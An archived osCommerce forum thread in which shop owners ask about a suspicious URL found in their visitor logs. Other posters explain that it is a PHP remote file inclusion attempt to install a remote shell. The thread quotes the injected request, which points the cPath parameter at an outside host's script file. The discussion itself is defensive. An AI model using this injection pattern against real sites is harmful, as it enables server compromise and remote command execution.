Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

Suspicious path in Who's Online


Ian Lawther

Recommended Posts

I have just checked whose online on my site and found two entries that showed the last URL visited as:-

/index.php?cPath=http://amyru.h18.ru/images/cs.txt?

 

I don't recognise this and when I had a look at the referenced webpage found some sort of code. Has anyone come across this sort of thing before and can you say whether it is something that is potentially dangerous?

 

Thanks,

Ian

Link to comment
Share on other sites

I have just checked whose online on my site and found two entries that showed the last URL visited as:-

/index.php?cPath=http://amyru.h18.ru/images/cs.txt?

 

I don't recognise this and when I had a look at the referenced webpage found some sort of code. Has anyone come across this sort of thing before and can you say whether it is something that is potentially dangerous?

 

Thanks,

Ian

 

Hi Ian,

 

I've had the same URL visit my site like 3 times in the past week. When I go to http://amyru.h18.ru it's some foreign site.

 

Anyone know what this is?

 

Brightest Blessings,

 

Azure Moon

 

aka, Dawn

Owner and Webmaster, Azure Moon Jewelry And Gifts

Link to comment
Share on other sites

HI, had the same thing. If you go to http://amyru.h18.ru/images/cs.txt? it actually shows the code which the user is attempting an PHP attack to insert a file on your machine/server that allows remote commands. Basically it is a hack attempt. If you do a search through a search engine you will find that others have come across this hack attempt as well.

Link to comment
Share on other sites

They are on my site now and I'm trying to get info. So where are they trying to insert code? and what does the code say? are the big questions here. Does anyone have an answer -- yet? Thanks! -AVH

Link to comment
Share on other sites

Looks like a shell, possible rfi but it looks like a piss in the wind.

ok I understand 1/2 of that - of course the piss part -- what's an rfi + shell -- and thank you so much for quick answer...-A

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...